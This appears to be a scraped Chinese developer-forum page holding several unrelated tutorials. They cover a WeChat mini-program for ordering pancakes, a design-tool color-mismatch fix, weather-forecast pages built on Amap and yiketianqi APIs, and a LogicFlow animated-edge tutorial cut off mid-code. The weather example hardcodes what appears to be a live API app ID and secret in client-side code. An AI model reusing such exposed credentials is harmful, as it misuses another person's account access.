这可咋办?周饼伦赶忙道歉,大叔却语重心长地说:“试试用小程序云开发吧!最近的数据模型新功能好用得很!” 周饼伦亮出祖传手艺,边摊煎饼边开发小程序,把新开发的小程序点餐页面二维码贴在摊前。从此再没出过错,终于能安心摊煎饼啦!


设计思路


图片


客户扫摊子上面贴的二维码后,会进入点餐页面,在选好要加的配料之后,点击确定就可以点餐,随后,即可在云后台上看到食客提交的数据


图片


实现过程


周饼伦就把当前摊位的主食、配菜,以及各自相应的价格贴在了摊位上,也要把食客的点餐内容记在脑里或者用笔写在纸上。


点餐页要实现两个功能:1.展示当前摊位有的主食、配菜、口味 2.提交订单到周饼伦的订单页面。


煎饼摊子主食(staple food)目前只有摊饼、青菜饼,主食下面有的配菜(side dish),有鸡柳、生菜、鸡蛋、火腿、腊肠。


同理,数据库里面也需要呈现相应的结构。


数据表的实现


数据模型现在提供了一种便捷的能力来,可以快速创建一套可用的数据表来记录摊煎饼的相关数据。


图片


在云后台中新增了一个基于 MySQL 的数据模型,数据模型相当于一张纸,可以在上面记录任何想要记录的数据,比如周饼伦摊位的提供的菜品


图片


创建了基于云开发MySQL数据库的主食表,主食表中包含主食名称,主食价格


图片


图片


字段的详细设置如下


图片


图片


加了主食、配菜两个表之后,将当前的主食和配菜一起加进数据表中

图片


图片


现在就实现了记录当前摊子的主食和配菜。还需要一个订单表,来记录用户的点餐数据


图片


配菜的类型是一个数组文本,用来记录配菜的类型,结构如下


图片


接着需要分别设置每个数据模型的权限。在使用小程序查看订单时,也是以用户的身份来读取的,所以,需要配置用户权限,通过页面访问来控制用户能够访问到哪些页面


图片


图片


图片


至此,数据表就已经大功告成!现在完全可以使用三个表来记录当前摊子的菜品、营业情况。


但是,别忘了周饼伦的目的不止于此,为了周饼伦实现早日暴富,当上CEO,所以,还要利用小程序实现一个界面,来给”上帝“们点餐,并且提供各位CEO查看订单


小程序实现过程


一. 初始化 SDK


在云后台的数据管理中的右侧中,可以方便的查询到使用的文档


图片


新建一个基于云开发的小程序,删除不必要的页面,并且按照文档的步骤进行初始化👇


1.按照指引在 miniprogram 目录下初始化 npm 环境并安装 npm 包


请注意,这里需要在 miniprogram 目录下初始化 npm ,不然需要编辑 project.config.json 手动指定 npm 包的位置


在 miniprogram 目录下打开终端


图片


2.初始化当前 npm 并且安装 @cloudbase/wx-cloud-client-sdk npm 包


npm init -y & npm install @cloudbase/wx-cloud-client-sdk --save

图片


3.在小程序中构建 npm


图片


4.在小程序 app.js 中初始化环境


// app.js
App({
globalData: {
// 在这里提供全局变量 models 数据模型方法,方便给页面使用
models: null
},
onLaunch: async function () {
const {
init
} = require('@cloudbase/wx-cloud-client-sdk')
// 指定云开发环境 ID
wx.cloud.init({
env: "ju-9g1guvph88886b02",
});
const client = init(wx.cloud);
const models = client.models;
// 可以取消注释查看效果
// const { data } = await models.stapleFood.list({
// filter: {
// where: {}
// },
// pageSize: 10,
// pageNumber: 1,
// getCount: true,
// });
// console.log('当前的主食数据:');
// console.log(data.records);
}
});

二. 下单页面的实现


首先创建一个页面 goods-list 页面作为首页


顾客如果浏览下单页面,那么就需要看到当前可以选择的主食、配菜,还有他们分别的价格。所以首先我们需要把主食、配菜加载进来


// 加载主食
const stapleFood = (await models.stapleFood.list({
filter: {
where: {}
},
pageSize: 100, // 一次性加载完,
pageNumber: 1,
getCount: true,
})).data.records;

// 加载配菜
const sideDish = (await models.sideDish.list({
filter: {
where: {}
},
pageSize: 100, // 一次性加载完,
pageNumber: 1,
getCount: true,
})).data.records;

// pages/goods-list/index.js
Page({
data: {
// 总价格
totalPrize: 0,
// 选中的主食
selectedStapleFoodName: '',
// 选中的配菜
selectedSideDishName: [],
// 所有的主食
stapleFood: [],
// 所有的配菜
sideDish: [],

以下是全部的js代码


// pages/goods-list/index.js
Page({
data: {
// 总价格
totalPrize: 0,
// 选中的主食
selectedStapleFoodName: '',
// 选中的配菜
selectedSideDishName: [],
// 所有的主食
stapleFood: [],
// 所有的配菜
sideDish: [],
},

async onLoad(options) {
const models = getApp().globalData.models;
console.log('models', models)

// 加载主食
const stapleFood = (await models.stapleFood.list({
filter: {
where: {}
},
pageSize: 100, // 一次性加载完,
pageNumber: 1,
getCount: true,
})).data.records;

// 加载配菜
const sideDish = (await models.sideDish.list({
filter: {
where: {}
},
pageSize: 100, // 一次性加载完,
pageNumber: 1,
getCount: true,
})).data.records;

console.log({
stapleFood,
sideDish
});

this.setData({
stapleFood: stapleFood,
sideDish: sideDish
})
},

// 选中主食
onSelectStapleFood(event) {
this.setData({
selectedStapleFoodName: event.currentTarget.dataset.data.name
});

this.computeTotalPrize();
},

// 选中配菜
onSelectedSideDish(event) {
console.log(event);
// 选中配菜名字
const sideDishName = event.currentTarget.dataset.data.name;

// 如果已经选中,则取消选中
if (this.data.selectedSideDishName.includes(sideDishName)) {
this.setData({
selectedSideDishName: this.data.selectedSideDishName.filter((name) => (name !== sideDishName))
});
} else {
// 未选中,则选中
this.setData({
selectedSideDishName: this.data.selectedSideDishName.concat(sideDishName)
});
}

this.computeTotalPrize();
},

// 重新计算价格
computeTotalPrize() {
// 主食价格
let staplePrize = 0;
if (this.data.selectedStapleFoodName) {
staplePrize = this.data.stapleFood.find((staple) => staple.name === this.data.selectedStapleFoodName).prize;
}

// 配菜价格
let sideDish = 0;
this.data.selectedSideDishName.forEach((sideDishName) => {
sideDish += this.data.sideDish.find((sideDishItem) => (
sideDishItem.name === sideDishName
)).prize;
});

// 总价格
this.setData({
totalPrize: staplePrize + sideDish
})
},

// 提交
async onSubmit() {
// 提示正在加载中
wx.showLoading({
title: '正在提交订单',
});

const models = getApp().globalData.models;
const { data } = await models.order.create({
data: {
served: false, // 是否已出餐
sideDish: this.data.selectedSideDishName, // 配菜
stapleFoodName: this.data.selectedStapleFoodName, // 主食名称
prize: this.data.totalPrize, // 订单总价格
}
});

console.log(data);
wx.hideLoading();
}
});

接着来实现页面


<!--pages/goods-list/index.wxml-->
<view>
<view class="title">
<image src='/asset/pancake.png'></image>
<text class="title">请选择主食</text>
</view>

<!-- 主食展示 -->
<view class="staple-food">
<view wx:for="{{stapleFood}}" wx:key="_id">
<view bindtap="onSelectStapleFood" data-data="{{item}}" class="staple-food-item {{selectedStapleFoodName === item.name ? 'selected' : ''}}">
<image src="{{item.imageUrl}}"></image>
<view class="prize">{{item.prize}}¥</view>
</view>
</view>
</view>

<!-- 选择配菜 -->
<view class="title">
<image src='/asset/sideDish.png'></image>
请选择配菜
</view>

<!-- 配菜展示 -->
<view class="side-dish">
<view wx:for="{{sideDish}}" wx:key="_id">
<!-- 使得class动态绑定支持 includes 语法 -->
<wxs module="tool">
var includes = function (array, text) {
return array.indexOf(text) !== -1
}
module.exports.includes = includes;
</wxs>
<view class="side-dish-item {{tool.includes(selectedSideDishName, item.name) ? 'selected' : ''}}" bindtap="onSelectedSideDish" data-data="{{item}}">
<image src="{{item.imageUrl}}"></image>
<view class="prize">{{item.prize}}¥</view>
</view>
</view>
</view>

<!-- 底部菜单 -->
<view class="bottom-content">
<view class='bottom-info'>
<view wx:if="{{!!selectedStapleFoodName}}">主食:{{selectedStapleFoodName}}</view>
<view wx:if="{{selectedSideDishName.length !== 0}}">配菜:{{selectedSideDishName}}</view>
</view>

<view class="bottom-operate">
<view class="total-prize">当前价格<text class="prize">{{totalPrize}}¥</text></view>
<view class="submit-button {{!selectedStapleFoodName ? 'disabled' : ''}}" bind:tap="onSubmit">下单</view>
</view>
</view>
</view>

再添加一点点的样式


/* pages/goods-list/index.wxss */
.title {
display: flex;
align-items: center;
gap: 16rpx;
padding: 0 20rpx;
}

.title image {
height: 46rpx;
width: 46rpx;
}

.staple-food {
display: flex;
margin-bottom: 60rpx;
overflow: auto;
}

.staple-food-item {
margin: 20rpx 10rpx;
display: flex;
flex-direction: column;
border: 1px solid #f3f0ee;
box-shadow: 6rpx 6rpx 6rpx #dfdfdf, -6rpx -6rpx 6rpx #dfdfdf;
border-radius: 6rpx;
padding: 8rpx;
}

.staple-food-item.selected, .side-dish-item.selected {
box-shadow: 6rpx 6rpx 6rpx #58b566, -6rpx -6rpx 6rpx #58b566, 6rpx -6rpx 6rpx #58b566, -6rpx 6rpx 6rpx #58b566;
}

.staple-food-item image {
border-radius: 6rpx;
width: 300rpx;
height: 300rpx;
}

.prize {
padding: 6rpx 6rpx 0;
text-align: right;
color: orangered
}

.side-dish {
padding: 20rpx 12rpx;
display: flex;
gap: 12rpx;
overflow: auto;
}

.side-dish image {
height: 200rpx;
width: 200rpx;
}

.side-dish-item {
border-radius: 8px;
padding: 16rpx;
box-shadow: 6rpx 6rpx 6rpx #dfdfdf, -6rpx -6rpx 6rpx #dfdfdf;
}

.bottom-content {
position: absolute;
bottom: 0;
left: 0;
right: 0;
}

.bottom-info {
padding: 30rpx;
display: flex;
flex-direction: column;
color: grey;
font-size: 0.5em;
}

.bottom-content .total-prize {
padding: 0 30rpx;
}

.bottom-operate {
border-top: 1px solid #dfdfdf;
display: flex;
width: 100%;
justify-content: space-between;
align-items: center;
height: 100rpx;
}

.submit-button {
width: 350rpx;
color: white;
background: #22b85c;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
}

.submit-button.disabled {
background: grey;
/* 注意,这里设置了当按钮置灰的时候,不可点击 */
pointer-events: none;
}

于是,煎饼摊的小程序就大功告成了!


接着就可以在云后台管理订单了,在将订单完成之后,即可在云后台将订单的状态修改成已完成。


图片


我们还可以做的更多…


是否可以在订单中新增一个点餐号,这样就知道是哪个顾客点的餐?是否可以使用数据模型的关联关系将配菜、主食和订单关联起来?


是否可以在小程序中创建一个管理订单的页面?是否可以添加优惠券数据表,来给客户一些限时优惠?


期待大家的体验反馈!


代码地址:github.com/vancece/qiL…


点击体验:tcb.cloud.tencent.com/cloud-admin…


作者:腾讯云云开发
来源:juejin.cn/post/7413376270518042651
收起阅读 »

代码与蓝湖ui颜色值一致!但页面效果出现色差问题?

web
前言 最近在开发新需求,按照蓝湖的ui图进行开发,但是在开发完部署后发现做出来的页面部分元素的颜色和设计图有出入,有色差!经过一步步的排查最终破案,解决。仅以此篇记录自己踩坑、学习的过程,也希望可以帮助到其他同学。 发现问题 事情是这样的,那是一个愉快的周五的...
继续阅读 »

前言


最近在开发新需求,按照蓝湖的ui图进行开发,但是在开发完部署后发现做出来的页面部分元素的颜色和设计图有出入,有色差!经过一步步的排查最终破案,解决。仅以此篇记录自己踩坑、学习的过程,也希望可以帮助到其他同学。


发现问题


事情是这样的,那是一个愉快的周五的下午,和往常一样我开心的提交了代码后进行打包发版,然后通知负责人查看我的工作成果。


但是,过了不久后,负责人找到了我,说我做出来的效果和ui有点出入,有的颜色有点不一样。我一脸懵逼,心想怎么可能呢,我是根据ui图来的,ui的颜色可是手把手从蓝湖复制到代码中的啊。


随后他就把页面和ui的对比效果图发了出来:


image.png


上图中左侧是蓝湖ui图,右侧是页面效果图。我定睛一看,哇趣!!!好像是有点不一样啊。 感觉右侧的比左侧的更亮一些。于是我赶紧本地查看我的页面和ui,果然也是同样问题! 开发时真的没注意,没发现这个问题!!!


排查问题


于是,我迅速开始进行问题排查,看看到底是什么问题,是值写错了?还是那里的问题。


ui、页面、代码对比


下图中:最上面部分是蓝湖ui图、下面左侧是我的页面、右侧是我的页面代码样式


image.png


仔细检查后发现颜色的值没错啊,我的代码中背景颜色、边框颜色的值都和ui的颜色值是一致的! 但这是什么问题呢??? 值都一样为什么渲染到页面会出现色差?


起初,我想到的是屏幕的问题,因为不同分辨率下展示出来的页面效果是会有差距的。但是经过查看发现同事的win10笔记本、我的mac笔记本、外接显示器上都存在颜色有色差这个问题!!!


ui、页面、源文件对比


通过对比ui、页面、颜色值,不同设备展示效果可以初步确认:和显示器关系不大。当我在百思不解的时候,我突然想到了ui设计师!ui提供的ui图是蓝湖上切出来的,那么她的源文件颜色是什么呢?


于是我火急火燎的联系到了公司ui小姐姐,让她发我源文件该元素的颜色值,结果值确实是一样的,但是!!! 源文件展示出来的效果好像和蓝湖上的不太一样!


然后我进行了对比(左侧蓝湖、右上页面、右下源文件):


image.png


可以看到源文件和我页面的效果基本一致!到这一步基本可以确定我的代码是没问题的!


尝试解决


首先去网上找了半天没有找到想要的答案,于是我灵光一现,想到了蓝湖客服!然后就询问了客服,为什么上传后的ui图内容和源文件有色差?


image.png


image.png


沟通了很久,期间我又和ui小姐姐在询问她的软件版本、电脑版本、源文件效果、设置等内容就不贴了,最终得到如下解答:


image.png


解决方式


下载最新版蓝湖插件,由于我们的ui小姐姐用的 sketch 切图工具,然后操作如下:


1.下载安装最新版蓝湖插件: lanhuapp.com/mac?formHea…


2.安装新版插件后--插件重置


3.后台程序退出 sketch,重新启动再次尝试打开蓝湖插件.


4.插件设置打开高清导出上传(重要!)


5.重新切图上传蓝湖


最终效果


左侧ui源文件、右侧蓝湖ui:
image.png


页面效果:


image.png


可以看到我的页面元素的border好像比ui粗一些,感觉设置0.5px就可以了,字体效果的话是因为我还没来得及下载ui对应的字体文件。


但是走到这一步发现整体效果已经和ui图到达了95%以上相似了,不至于和开始有那么明显的色差。


总结


至此,问题已经基本是解决。遇到问题不能怕,多想一想,然后有思路后就一步一步排查、尝试解决问题。当解决完问题后会发现心情舒畅!整个人都好起来了,也会增加自信心!


作者:尖椒土豆sss
来源:juejin.cn/post/7410712345226035200
收起阅读 »

基于Vue.js和高德地图API来实现一个简易的天气预报

web
今天就让我们来使用 Vue.js 和高德地图开放平台提供的 API,实现一个关于天气预报的小demo,实时查询当前城市的天气以及未来三天的天气预测,且实现切换城市查询。实现效果如下; 准备工作 既然要使用真实的数据,那么就需要用到高德地图开放平台提供的天气查...
继续阅读 »

今天就让我们来使用 Vue.js 和高德地图开放平台提供的 API,实现一个关于天气预报的小demo,实时查询当前城市的天气以及未来三天的天气预测,且实现切换城市查询。实现效果如下;


PixPin_2024-12-15_00-13-38.gif


准备工作


既然要使用真实的数据,那么就需要用到高德地图开放平台提供的天气查询 API,先高德地图api注册为开发者。然后点击文档与支持,选择JS API。


image.png


然后登录到控制台创建一个应用并且添加一个key,服务平台为Web端(JS API)。
16b5ba85e6c5f128b699fe8d521bb67.jpg


终端npm create vite@latest使用vite创建项目,npm install下载该项目需要用的包,npm run dev运行项目。


image.png


将天气预报的功能全部开发在weather.vue里面,再将这个组件import weather from "./components/weather.vue"引入到app.vue中。


image.png


js代码概览


image.png


具体代码步骤实现


开始weather.vue里面的代码了。


html 部分


<div>
// 头部
<div class="head">
<div class="city-name">
<i class="iconfont icon-dingwei"></i>
{{ state.city }}
</div>
<div @click="toggle" class="city-change">
<i class="iconfont icon-24gf-city3"></i>
切换城市
</div>
</div>


// 中间部分实时温度
<div class="main">
<div class="weather-info">
<p class="temp">{{ state.weather.temperature }}℃</p>
<div class="info">{{ state.weather.weather }}</div>
<div class="detail">
<div class="item">
<i class="iconfont icon-shuidi"></i>
<span>湿度</span>
<span>{{ state.weather.humidity }}</span>
</div>
<div class="item">
<i class="iconfont icon-feng"></i>
<span>风向</span>
<span>{{ state.weather.windDirection }}</span>
</div>
<div class="item">
<i class="iconfont icon-fengli"></i>
<span>风力</span>
<span>{{ state.weather.windPower }}</span>
</div>
</div>
</div>

// 未来三日的天气预报
<div class="future">
<div class="future-title">三日天气预报</div>
<div class="future-content">
<div v-for="(item,i) in state.future" class="forecast">
<p class="week">周{{ chinese[Number(item.week)-1] }}</p>
<i :class="getWeatherIcon(item.dayWeather)"></i>
<p><span class="left">{{ item.dayTemp }}℃</span> <span class="right"> / {{ item.nightTemp }}℃</span></p>
</div>
</div>
</div>
</div>


// 切换城市input框
<div v-show="state.isVisible" >
<input id="newCity" @keydown.enter="handle" type="text" v-model="state.newCity" placeholder="请输入你要查询的城市">
</div>
</div>


然后使用css样式美化成如下界面


image.png


js部分


接下来就是渲染其中的数据了,首先使用高德 api 来获取定位数据,查看官方文档,JS API结合 Vue 使用,首先安装Loader,如下所示,复制到当前文件终端安装。
image.png


然后复制代码粘贴;
image.png


AMapLoader 是高德地图 js API 的加载器,它可以在前端项目中加载和初始化高德地图的 js API。


import AMapLoader from '@amap/amap-jsapi-loader';
import { onMounted, reactive } from 'vue'

onMounted(() => {   // 在浏览器上出现内容时候触发
// 加载官方提供的方法
window._AMapSecurityConfig = {
securityJsCode: "", // 密钥
};
AMapLoader.load({
key: "", // 申请好的Web端开发者Key,首次调用 load 时必填
version: "2.0", // 指定要加载的 JSAPI 的版本,缺省时默认为 1.4.15
plugins: ["AMap.Scale"], //需要使用的的插件列表,如比例尺'AMap.Scale',支持添加多个如:['...','...']
})

// 加载完上面代码高德提供的服务后,执行then后面的操作
.then((AMap) => {
// 获取定位
getLocalCity(AMap) // 使用一个函数,将获取地址信息放到这个函数中
})
})

获取城市信息


官方文档:
image.png


const getLocalCity = (AMap) => {
AMap.plugin('AMap.CitySearch', function () {
var citySearch = new AMap.CitySearch()
citySearch.getLocalCity(function (status, result) {
if (status === 'complete' && result.info === 'OK') {
// 查询成功,result即为当前所在城市信息
console.log(result.city); // 会打印当前城市
state.city = result.city //将城市改为定位获取到的城市
getWeather(AMap) // 获取天气
}
})
})
}

image.png


利用该地址获取实时天气数据
image.png


const getWeather = (AMap) => {
//加载天气查询插件
AMap.plugin("AMap.Weather", function () {
//创建天气查询实例
var weather = new AMap.Weather();
//执行实时天气信息查询
weather.getLive(state.city, function (err, data) { // 将城市替换成state.city
console.log(err, data); // 获取天气数据,详情见下表
state.weather = data // 将数据赋值给 state.weather
getForecast(AMap) // 后面用来获取未来三天的天气
});
});
}

image.png
将这一整个对象赋值给state.weather然后再state.weather.渲染到页面上。


获取未来三天天气


const getForecast = (AMap) => {
AMap.plugin("AMap.Weather", function () {
//创建天气查询实例
var weather = new AMap.Weather();
//执行实时天气信息查询
weather.getForecast(state.city, function (err, data) {
console.log(err, data);
state.future = data.forecasts // 获取天气预报数据

//err 正确时返回 null
//data 返回天气预报数据,返回数据见下表
});
});
}

image.png


最后就是切换城市中的input框的实现;


<div v-show="state.isVisible" >
<input id="newCity" @keydown.enter="handle" type="text" v-model="state.newCity" placeholder="请输入你要查询的城市">
</div>

添加以一个v-show方法,然后绑定一个键盘敲击事件触发handle,并用v-model获取输入的数据并将其存储到state.newCity


const handle = () => {
state.isVisible =!state.isVisible // 回车键将框不显示
state.city = state.newCity // 城市变为输入的城市
getWeather(AMap) // 重新获取该城市天气以及该城市未来天气
}

const toggle = () => {
state.isVisible =!state.isVisible // 使得点击切换城市框会显示和消失
}

以上就是实现获取定位城市,该城市的实时天气,以及未来三天的天气预测,切换查询其它城市的功能具体代码了。


总结


以上使用了Vue.js 组件化的方式来构建界面,利用高德地图 API 获取定位和天气数据,利用 Vue 的响应式机制来实时更新页面数据,通过使用官方文档中 AMapLoader 加载高德地图的JS API,使得我们能高效处理地图相关功能,希望这个小 demo 能够对你的前端开发有所帮助,同时记得给文章点点赞哦🤗。


image.png


作者:六个点
来源:juejin.cn/post/7448246468471521307
收起阅读 »

一个网页打造自己的天气预报

web
概念解释 通过数据接口,简化功能开发。天气数据从哪里来?如果是自己采集,不光要写后端代码,最难的是维护啊,所以必须《天气预报》此类APP特别适合 前后端分离的,以下用一个简单的例子快速打通前后端的调用 前端使用HTML页面,通过JS的Fetch发起请求,向天气...
继续阅读 »

b64dacfad036df7512a0dbcd6a7ceb12.png


概念解释


通过数据接口,简化功能开发。天气数据从哪里来?如果是自己采集,不光要写后端代码,最难的是维护啊,所以必须《天气预报》此类APP特别适合 前后端分离的,以下用一个简单的例子快速打通前后端的调用

前端使用HTML页面,通过JS的Fetch发起请求,向天气API拿到JSON数据回显到页面上。

比较麻烦的是找到免费易用天气API接口。


前后端分离


前端负责用户界面展示和交互体验,

后端负责业务逻辑和数据处理。

这里后端直接使用免费的天气API,所以后端可以视为云服务。图上的左半部分。



  1. 前端:HTML+JS+Fetch请求

  2. 后端:云服务API(天气数据接口网站)

  3. 数据:JSON格式传输


数据接口


简化理解为一个返回JSON数据的网页。


项目《天气预报》


一、后端 云服务API(天气数据接口网站)


1. 注册激活帐号(目标得到APPID和APPSecret即可)


找到免费方便的天气API数据接口网页,这里使用 http://www.yiketianqi.com/
(非广告 只是顺手找到,如果有更方便的欢迎评论区留言),每天有1000次免费调用

注册记下自己 APPIDAPPSecret ,前端请求时要用
图片.png


2. 数据接口文档


一定要注册帐号,才能看到自己的 APPIDAPPSecret
文档中 http://www.yiketianqi.com/index/doc
直接复制下图(1) 就是前端用到的 目标数据接口


图片.png


3.测试天气数据API


以下URL供 前端请求时替换成自己的 APPIDAPPSecret



gfeljm.tianqiapi.com/api?unescap…



使用浏览器打开即可,可以通过浏览器观察,其实前端有这个URL就开业啦
图片.png


二、前端 HTML+JS+Fetch请求


1. 基础fetch请求页面


使用fetch方法发起请求,特别注意每一步返回的数据是否为Promise,需要使用async和await消除回调


const appid = 68621484
const appsecret = `XXXXX`
let URL = `http://gfeljm.tianqiapi.com/api?unescape=1&version=v63&appid=${appid}&appsecret=${appsecret}`

获取(URL)

async function 获取(URL){
let 响应 = await fetch(URL)
let 数据 = await 响应.json()

return 数据
}

注意这个页面通过浏览器 查看网络请求XHR


图片.png


2. 完整静态HTML页面


制作一个简易的HTML页面,显示出关键数据。更多数据需要参考接口文档。


图片.png


使用Fetch发起请求,获得数据后,使用innerHTML属性替换掉元素内容。

同时使用模版字符串,没有使用任何CSS样式。


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>fetch请求</title>
</head>
<body>

<div id="A">
</div>

<script>

const appid = 68621484
const appsecret = `fZnW1ikK`
let URL = `http://gfeljm.tianqiapi.com/api?unescape=1&version=v63&appid=${appid}&appsecret=${appsecret}`


main()

async function main(){
let data = await 获取(URL)


const listItems = data.hours.map(hour => `
<li>
时间:${hour.hours}<br>
天气状况:${hour.wea}<br>
天气图标:<img src="images/weather_icons/${hour.wea_img}.png" alt="${hour.wea}"><br>
温度:${hour.tem}°C<br>
风向:${hour.win}<br>
风速:${hour.win_speed}<br>
能见度:${hour.vis} km<br>
空气质量:${hour.aqi}<br>
</li>
`
).join('');

A.innerHTML = `

<h2>城市:${data.city} (${data.cityEn})</h2>
国家:${data.country} (${data.countryEn})<br>
日期:${data.date} ${data.week}<br>
更新时间:${data.update_time}<br>
天气状况:${data.wea}<br>
天气图标:<img src="images/weather_icons/${data.wea_img}.png" alt="${data.wea}"><br>
当前温度:${data.tem}°C<br>
最高温度:${data.tem1}°C<br>
最低温度:${data.tem2}°C<br>
风向:${data.win}<br>
风速:${data.win_speed} (${data.win_meter})<br>
湿度:${data.humidity}<br>
能见度:${data.visibility}<br>
气压:${data.pressure} hPa<br>
降雨量:${data.rain_pcpn} mm<br>
空气质量指数:${data.air}<br>
PM2.5:${data.air_pm25}<br>
空气质量等级:${data.air_level}<br>
空气质量提示:${data.air_tips}
<ul>
${listItems}
</ul>
`
;


console.log(data)
}

async function 获取(URL){
let 响应 = await fetch(URL)
let 数据 = await 响应.json()

return 数据
}


</script>
</body>
</html>

3. 补充CSS样式


图片.png
ul{
display: flex;
flex-wrap: wrap;
list-style: none;
}

li{
width: 300px;
background-color: palegreen;
margin: 10px;
padding: 15px;
border-radius: 50%;
text-align: center;
}

span{
padding: 15px;
background-color: orange;
cursor: pointer;
}

4. 补充JS多城市查询


天气.gif


4.1 增加对应的HTML代码

图片.png


4.2 增加对应的JS代码

图片.png


三、项目图示总结


使用Fetch和async/await极大的简化了前端代码。后端数据接口就是一个URL地址。
整个后端具备云服务的特征,可以视作云服务数据接口,如图所示


图片.png


四、天气接口


1.易客云天气API 推荐:⭐⭐⭐⭐⭐


对新手比较友好。
tianqiapi.com/


2.高德地图 需要注册开发者(推荐:⭐⭐⭐)


lbs.amap.com/api/webserv…


3.心知天气(推荐:⭐)


免费的API数据只有一行,且文档藏得太深难用
http://www.seniverse.com/


欢迎大家提供更多更好的天气API。


作者:百万蹄蹄向前冲
来源:juejin.cn/post/7441560184010014735
收起阅读 »

“有办法让流程图动起来吗?”“当然有!”:一起用LogicFlow实现动画边

web
引言 在流程图中,边(Edge) 的主要作用是连接两个节点,表示从一个节点到另一个节点的关系或流程。在业务系统中,边通常代表某种逻辑连接,比如状态转移、事件触发、任务流动等。对于复杂的流程图,边不仅仅是两点之间的连接,它还可以传递信息、约束流程的顺序,并通过不...
继续阅读 »

引言


在流程图中,边(Edge) 的主要作用是连接两个节点,表示从一个节点到另一个节点的关系或流程。在业务系统中,边通常代表某种逻辑连接,比如状态转移、事件触发、任务流动等。对于复杂的流程图,边不仅仅是两点之间的连接,它还可以传递信息、约束流程的顺序,并通过不同的样式或标记来表达不同的含义。


不同的场景下,边可能需要具备丰富的样式或交互,比如箭头表示方向、虚线表示条件判断、动画表示动态效果等。因此,灵活定义和实现自定义边对于流程图的可视化设计尤为重要。


LogicFlow的边


为了灵活适配不同场景下的需求,LogicFlow的边模型是由 线条、箭头、文本、调整点五个模块组成。用户可以继承基础边类,对边的线条、箭头、文本和调整点进行自定义。


edge-struct.png
在技术实现上,LogicFlow设计了一个基础边模型BaseEdge,它定义了LogicFlow边的基本属性,如起点、终点、路径、样式等,并提供了操作这些属性的基本方法,提供逻辑处理和渲染的基础,通过继承基础边的数据类BaseEdgeModel和视图类BaseEdge,可以实现自定义边的逻辑和交互。


基础边:BaseEdge


属性方法简介

BaseEdgeModel中定义了一些核心属性,用于描述边的几何结构和样式。


属性释义
sourceNodeId起始节点Id
targetNodeId目标节点Id
startPoint起点信息,默认存储的是起始节点上连接该边锚点的坐标信息
endPoint终点信息,默认存储的是目标节点上连接该边锚点的坐标信息
text边文本信息,存储边上文本的内容和位置
properties自定义属性,用于存储不同业务场景下的定制属性
pointsList路径顶点坐标列表

围绕着这些核心属性,LogicFlow设计了支撑边运转的核心方法


方法用途
initEdgeData初始化边的数据和状态
setAnchors设置边的端点,startPoint和endPoint会在这个被赋值
initPoints设置边路径,pointsList会在这个阶段被赋值
formatText将外部传入的文本格式化成统一的文本对象

还有一些渲染使用的样式方法


方法用途
getEdgeStyle设置边样式
getEdgeAnimationStyle设置边动画
getAdjustPointStyle设置调整点样式
getTextStyle设置文本样式
getArrowStyle设置箭头样式
getOutlineStyle设置边外框样式
getTextPosition设置文本位置

运转过程

边实例化时,数据层Model类内部会先调用initeEdgeData方法,将无需处理的属性直接存储下来,设置为监听属性然后触发setAnchors、initPoints和formatText方法,生成边起终点、路径和文本信息存储并监听。


model-run.png


视图层渲染时,Model中存储的数据会以外部参数的形式传给组件,由不同渲染方法消费。每个渲染方法都是从Model存储的核心数据中获取图形信息、从样式方法中获取图形渲染样式,组装到svg图形上。最终由render函数将不同模块方法返回的内容呈现出来。


view-run.png


内置衍生边


LogicFlow内部基于基础边衍生提供三种边:直线边、折线边和曲线边。


直线边

在基础边的之上做简单的定制:



  1. 支持样式快速设置

  2. 限制文本位置在线段中间

  3. 使用svg的line元素实现线条的绘制


ViewModel
LogicFlow-packages-core-src-view-edge-LineEdge-tsx-at-master-·-didi-LogicFlow-10-29-2024_09_07_PM.pngimage.png

直线边数据层和视图层源码逻辑


折线边

折线边在Model类的实现上针对边路径计算做了比较多的处理,会根据两个节点的位置、重叠情况,使用 A*查找 结合 曼哈顿距离 计算路径,实时自动生成pointsList数据。在View类中则重写了getEdge方法,使用svg polyline元素渲染路径。


录屏2024-10-30 10.52.14.gif


曲线边

曲线边和折线边类似,Model类针对边路径计算做了较多处理,不一样的是,为了调整曲线边的弧度,曲线边额外还提供了两个调整点,边路径也是根据边起终点和两个调整点的位置和距离计算得出,View类里使用svg的path元素渲染路径。


录屏2024-10-30 10.54.48.gif


一起实现一条自定义动画边


自定义边的实现思路和内置边的实现类似:继承基础边 → 重写Model类/View类的方法 → 按需增加自定义方法 → 命名并导出成模块


今天就带大家一起实现一条复杂动画边,话不多说,先看效果:


animate-line-high-quality.gif


要实现这样效果的边,我们核心只需要做一件事:重新定义边的渲染内容。


在实际写代码时,主要需要继承视图类,重写getEdge方法。


实现基础边

那我们先声明自定义边,并向getEdge方法中增加逻辑,让它返回基础的折线边。


为了方便预览效果,我们在画布上增加节点和边数据。


自定义边实现

import { h, PolylineEdge, PolylineEdgeModel } from '@logicflow/core'

class CustomAnimateEdge extends PolylineEdge {
// 重写 getEdge 方法,定义边的渲染
getEdge() {
const { model } = this.props
const { points, arrowConfig } = model
const style = model.getEdgeStyle()
return h('g', {}, [
h('polyline', {
points,
...style,
...arrowConfig,
fill: 'none',
strokeLinecap: 'round',
}),
])
}
}

class CustomAnimateEdgeModel extends PolylineEdgeModel {}

export default {
type: 'customAnimatePolyline',
model: CustomAnimateEdgeModel,
view: CustomAnimateEdge,
}


定义画布渲染内容

lf.render({
nodes: [
{
id: '1',
type: 'rect',
x: 150,
y: 320,
properties: {},
},
{
id: '2',
type: 'rect',
x: 630,
y: 320,
properties: {},
},
],
edges: [
{
id: '1-2-1',
type: 'customPolyline',
sourceNodeId: '1',
targetNodeId: '2',
startPoint: { x: 200, y: 320 },
endPoint: { x: 580, y: 320 },
properties: {
textPosition: 'center',
style: {
strokeWidth: 10,
},
},
text: { x: 390, y: 320, value: '边文本3' },
pointsList: [
{ x: 200, y: 320 },
{ x: 580, y: 320 },
],
},
{
id: '1-2-2',
type: 'customPolyline',
sourceNodeId: '1',
targetNodeId: '2',
startPoint: { x: 150, y: 280 },
endPoint: { x: 630, y: 280 },
properties: {
textPosition: 'center',
style: {
strokeWidth: 10,
},
},
text: { x: 390, y: 197, value: '边文本2' },
pointsList: [
{ x: 150, y: 280 },
{ x: 150, y: 197 },
{ x: 630, y: 197 },
{ x: 630, y: 280 },
],
},
{
id: '1-2-3',
type: 'customPolyline',
sourceNodeId: '2',
targetNodeId: '1',
startPoint: { x: 630, y: 360 },
endPoint: { x: 150, y: 360 },
